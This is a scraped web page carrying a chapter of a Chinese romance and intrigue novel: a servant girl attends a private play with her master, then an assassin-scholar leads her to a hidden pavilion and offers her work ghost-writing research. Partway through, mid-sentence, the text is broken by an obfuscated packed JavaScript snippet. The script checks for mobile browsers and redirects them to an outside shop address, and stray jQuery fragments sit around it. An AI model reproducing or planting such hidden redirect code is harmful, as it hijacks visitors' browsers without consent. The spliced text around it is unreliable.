默认冷灰
24号文字
方正启体

29. 神秘阁楼

作者:永生亦永罪本书字数:K更新时间:
    陪谨公子去西市那天,苍仁特意抿上了曦小姐送的口脂。


    曦小姐回府那日,谨公子前去相迎,不知怎的两人吵了一架。曦小姐当晚便到父亲跟前告了一状,老爷连夜唤了谨公子,训斥良久。


    苍仁曲当时候在门外。宋曦提前出来,将她带到一旁,问了些与小诗相处的日常,又说了些拉拢的话,随手将正用着的口脂赠给了她。


    苍仁曲没有立即表态,毕竟谨公子只是不如曦小姐挥霍,做他侍从待遇并不差,她并无回去的打算,但曦小姐的面子也不好当面驳回,她打了几句太极,一直拖到谨公子出来带她离开。


    府中四处都有曦小姐的耳目。想起小诗的叮嘱,她决定至少先用上几天,哪怕做做样子,也先摆出个态度。


    她肤色暖白,而宋曦送的这支口脂极艳,与她素日用的全然不同,上唇后红得灼目,像刚吃了烈椒肿的鲜明。


    宋谨一眼注意到了,走在路上随口一问:“头一回见你涂这个颜色,何时买的新口脂?”


    苍仁曲嘻嘻一笑,随口编了个理由:“托人捎的,可贵了,还是绝版的稀罕物,不仔细用着,多浪费呀。”


    宋谨又问了一句:“这般难得,怎不选个素日用的颜色?”


    苍仁曲回避他的视线,摆摆手道:“公子就莫要深究了。这点银钱能得来已属不易,哪还顾得上合不合宜呢。”


    “这样啊。”宋谨不再多问,迈开步子走在她的面前。


    二人到了西市,马车停到戏院门前,老板已经等候多时。


    宋谨照旧包了场。戏院里外静悄悄的,西市喧嚣仿佛远在天边,只余隐隐约约的市声,在此独成一方闹中取静的天地。


    这戏院格局与寻常的不同,甚至说有些简陋,仿佛老板在自家宅院里随意搭了座戏台。台下只疏疏摆着三两座椅,皆是家常式样。苍仁曲和宋谨反倒两位误闯私宅的不速之客。


    老板引他们进了特备的厢房,室内沉香四溢,一名侍从垂首跪坐案边,静默如偶。


    宋谨落座,问道:“老板,今日上了什么戏?”


    老板热情回应道:“知道公子素爱文武八星的故事,我特意请班子编排了一出新戏。今日演的《二贤救马》,说的正是‘折剑将军’于初与‘战马仙子’齐楠的一段旧事。”


    听见“文武八星”四字,苍仁心头一顿。这个称谓,已许久未听人提起了。


    她的母亲,苍绥晏,亦是八星之一,号称“边州狼王”。


    少时在军营寥寥数日的记忆里,母亲是一位极受将士敬重的将军。兵将们早闻“苍绥晏”威名,那袭玄色单肩披风,在战场上猎猎飞扬的飒爽英姿,是他们年少时期心之向往的模样。她在战场上的故事,经常成为营中闲谈的常客。


    “还是你最知我心。唯有你这儿,我才能听到那么多关于文武八星的故事。”宋谨淡然笑道。


    “公子言重了。文武八星在外声名赫赫,若换作别处,只怕要被人说是胡编乱造,非砸了我这招牌不可。难得有您这位知音,但凡我知道的故事,定当一出出都为您安排上。”


    宋谨:“承蒙老板关照了。”


    戏台乐声悠悠响起,幕后传来清亮的开腔。


    “我还有些琐事,公子且慢慢赏戏。若有吩咐,交代延子便是。”班主说着,轻摸了下那名侍从的发顶。侍从依然纹丝不动,连眼睫都未颤一下。


    老板走后,苍仁曲凑近一看,仔细端详延子,原来延子只是一个披着人衣的偃人,生着头发,肤质上了色,若不细辨,几与真人无异。


    她好奇地伸出手,指尖触到对方面颊的一瞬间,延子头没动一下,两颗眼珠子忽然一转,直勾勾瞪着她,惊得她肩头一缩,不及收手,被宋谨轻轻握住手腕。


    他在身旁提醒道:“别碰坏了。这偃人是研枢院特制的,尚未对外发行,全身上下金贵得很。”


    “是。”苍仁乖顺应声,抬眼望向宋谨,手腕稍动,他自然松开了她,她压低声音说道,“公子,看来这位老板来头不小。宋府尚未引进偃人,他倒已拿来当寻常仆役使唤了。”


    宋谨目光落到戏台,戏台传来一阵清越婉转的女声。他说道:“西市寸土寸金,能在闹市之中安住一方小院,不图盈利,本就不是寻常人能为之。”


    楼下正对着戏台,一名身着浅绿罗裙的小伶人粉墨登场,娓娓唱道:“马儿哎,马儿哟,边州最乖的好马儿呀,今日么事唤千声,不见踪来不见影?马儿呀,你究竟藏去了哪一边?我心似油煎火燎,寻得人好生难捱。”


    接着,同样一身浅绿的男伶,自台侧缓步登场,清声唱道:“忽听阿楠唤马声声响,可是那匹边州马踏云失了方向?你且莫慌,细细讲,为兄帮你寻它回身旁。”


    戏乐正酣,苍仁曲看得入迷,宋谨忽然轻声问:“怎么?对戏文上心了?不惦记着去逛了?”


    她一拍脑袋,险些忘了还要去见洛予词,连忙起身,笑盈盈道:“走之前,这不是想多陪一会儿公子吗?”


    宋谨眼神恍惚,低咳一声:“你想陪我多久都可以,我并没有要赶你走的意思。”


    苍仁曲这下心下为难,原本只想客套一句,他怎还当真了?


    正不知如何接话之时,宋谨出言开解道:“去吧,早去早回,玩得尽兴。”


    “谢谢公子!”苍仁曲开心离开了。


    厢房内,只剩宋谨一人。


    他扶额撑桌,面色隐约发烫,目光扫过苍仁曲方才坐过的位置。戏音缭绕,他却只听见她的那句话,像一缕吐息吹进耳里,缠着散不尽的热。


    ——她说她想陪他一会儿。


    “呼……”他强迫自己闭上眼,不愿再想。


    ……虚情假意。


    苍仁曲刚跨出戏院大门,便见洛予词正大光明站在阶前候着她。


    “嚯?可算出来了,等你好一会儿了。”她乐道。


    “……你们广厦楼行事,向来这么明目张胆吗?”苍仁曲低声嘀咕道。


    洛予词眨了眨眼,面露无辜楚楚可怜:“我可是老实巴交的平头老百姓,才不是不法之徒。”


    苍仁曲无奈,懒得与她多辩:“我有一堆事要问你。”


    “不急,咱们边走边聊,慢慢说。”


    苍仁曲跟上她:“你要带我去哪?”


    洛予词回头一笑:“先提前给你指条谋生路子,总不叫你白来广厦楼一趟。”


    苍仁曲追问道:“你为何对谨公子行踪如此清楚?宋府难道还有广厦楼的耳目?”


    “一口气问两个呀。”洛予词指尖绕着垂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103048|195760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在肩前的发带,悠悠道,“第一桩,那家院子的主人也是广厦楼的人,他知道我在留意宋府的动静。宋家公子一订座,消息便递到我这儿了。”


    苍仁曲蓦然想起仍在里面听戏的宋谨,但听洛予词继续说道:“第二桩事嘛……说实话,我也不知道宋府里头还有没有我们的人。”


    “不知道?”


    洛予词坦然笑道:“是呀。你在宋府的一举一动,其实是我花钱买来的消息。”


    苍仁曲默然片刻,才道“......倒难为你破费了。”


    洛予词尾音轻轻一扬:“客气什么。我是对你真的感兴趣。一年便能在萧武署出师,却从未在武举崭露头角,以你的天资和身手,拿个好名次绝非难事。”


    苍仁曲再度沉默。


    纵使她再夺一次文武状元,也绝不顶着“姜安曲”之名,让她沾上半分荣光。毕竟姜安曲一家,是构陷他父亲的直接祸首。


    苍仁曲是苍仁曲,姜安曲是姜安曲。她只是不得已披上一层躯壳,没有义务,更无意愿,去成全旁人荣名。


    “罢了罢了,你若有难言之隐,以后再说。”洛予词停住脚步,朝前一指,“我们到了。”


    苍仁望着眼前这栋熟悉的阁楼,是那夜追踪盲卫时,途径的一座无匾无牌、寻常得不起眼的楼。


    她下意识仰首望向某处。白日昭昭,彩绳系着铃铛自檐角垂落,几人倚在栏杆旁闲谈,仿佛那夜那道蛰伏黑暗里的身影,也在此处悄然重合。


    一只鸟儿掠檐飞过,她的脸颊忽似泛起被一只巨鸟翅刃刮伤的灼痛。


    她问洛予词:“这里是什么地方?”


    “赚钱的地方,走吧,进去瞧瞧。”


    苍仁曲跟随她踏入阁内,沉香气息扑鼻而来。


    阁楼里人来人往,皆步履轻悄,低语行事。中庭植着一株蜿蜒苍劲的青松,枝头鸟鸣清越。树是真树,鸟非真鸟,与谨公子院里的机关木鸟有几分相似。


    苍仁曲细看那松,感到一股寒意从树身四散而开:“这松应是寒带树种吧?交州地处温带,本不宜生长,它竟能这般茂盛。”


    “这是一位植物学使改良过的树种,周遭环境都按它原本的习性调适过。”洛予词温声提醒道,“别靠太近,那里寒气重。”


    苍仁曲忽然想起一事:“墨泉阁后院的那株异于常时的梅树,莫非也是那位植物学使所植?”


    洛予词含笑点点头:“聪明,观察挺细致。”


    苍仁曲若有所思道:“看来广厦楼还真是卧虎藏龙,连这样的人才都能挖过来,看来待遇确实不差。”


    洛予词“噗嗤”笑出声来:“谬赞谬赞,多谢姑娘对我的抬爱”


    “?”苍仁曲眉头一下拧成了“八”字。


    “嗯?你什么反应?”洛予词凑近她小声道,“难道我看上去不像做学问的人?其实刺客不过是兼差,那间墨泉阁,平日只用作书房而已。”


    “所以你指的谋生路子,是指这个?”


    彼时的苍仁还天真地以为,往后至少能从事光鲜体面、亦是她曾暗暗向往的研究行当,然而洛予词接下来的话,让她大开眼界。


    “嗯,做研究。旁人买我的成果去挂名,按金价算,一个名头百两到千两不等。”


    “?!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)